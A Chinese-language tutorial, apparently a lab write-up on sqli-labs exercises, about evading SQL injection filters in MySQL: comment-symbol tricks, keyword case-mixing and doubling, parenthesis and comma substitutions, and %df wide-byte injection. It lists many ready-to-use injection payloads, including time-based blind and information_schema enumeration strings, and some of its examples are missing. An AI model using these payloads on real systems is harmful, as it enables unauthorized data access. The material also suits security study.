什么是绕过
个人理解是系统或者安全软件为了避免攻击者篡改一些参数来获取数据,就会自动过滤一些篡改信息的关键词。但系统和软件终究是人编写出来的,攻击者们还是有各种各样的方法绕过安全点的检测来达到自己的目的。
注释符号绕过
MySQL中常见的注释符有这么几个:
#注释内容
--注释内容
/* 注释内容 */
其中 - - 要注意跟后面的注释内容有一个空格
eg:less-23
在?id=1后面加一个‘判断出闭合方式为’
用之前的方法 发现闭合成功了但是不能注释掉后面的那个‘’‘
判断可能是注释符号绕过
看一下源代码
这个意思就是输入# 或者 -- 就把它替换成空白
也就是把注释符号替换掉
我们可以通过以下三种方法绕过
f1
例如
这种方法简单 但是很多时候用不了
f2
用and 和 or的方法
eg:
f3 特殊的闭合符号 ;%00
在SQL注入中,;%00可以用来注释掉SQL语句中的后续内容,从而达到绕过后续的SQL语句的效果。在引用中的例子中,;%00被用来注释掉了SQL语句中的后续内容,使得攻击者可以成功地进行SQL注入攻击。在引用中的例子中,;%00同样被用来注释掉了SQL语句中的后续内容,但是由于SQL语句本身的问题,攻击者可以通过这个SQL注入漏洞获取到回显信息。
and和or的过滤
eg:less-25
在判断数字型还是字符型的时候发现and被过滤了
尝试用一些绕过方法
1.使用大小写绕过例如
?id=1' anD 1=1 --+
2.复写过滤字符
?id=1' anandd 1=1 --+
3.用&&取代and,用|取代or
?id=1' && 1=1 --+
用大小写发现没用
利用复写绕过发现可以
用&&代替发现无法识别
用%26%26替代发现可以识别
这样就成功绕过
空格过滤绕过方式
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
select(user())from dual where(1=1)and(2=2)
这种过滤方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for属于逗号绕过下面会有)
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
也可以用报错注入例如 less-26
宽字节注入
对抗的函数
1.函数addslashes()
addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(') 、双引号 (")
反斜线 (\) 与NUL (NULL字符)。
2.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。
转义,例如在单引号'前加反斜线“\”,则会转义没有功能性的字符“”
当写入或查询用户名“1'”时,数据库会识别单引号'为闭合符号,要求再输入一个单引号将其闭合,只查询“1”而没办法查询"1'"
如果输入“1\”,\使'失去闭合符的功能,则数据库会识别为“1"”
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%27union select 1,user(),3--+(2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to
的方式来解决:
select substr(database() from 1 for 1); select mid(database() from 1 for 1);
使用join
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
使用like
select ascii(mid(user(),1,1))=80 #等价于 select user() like 'r%'
对于limit
可以使用offset
来绕过:
select * from news limit 0,1 # 等价于下面这条SQL语句 select * from news limit 1 offset 0
绕过union,select,where等
(1)使用注释符绕过:
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-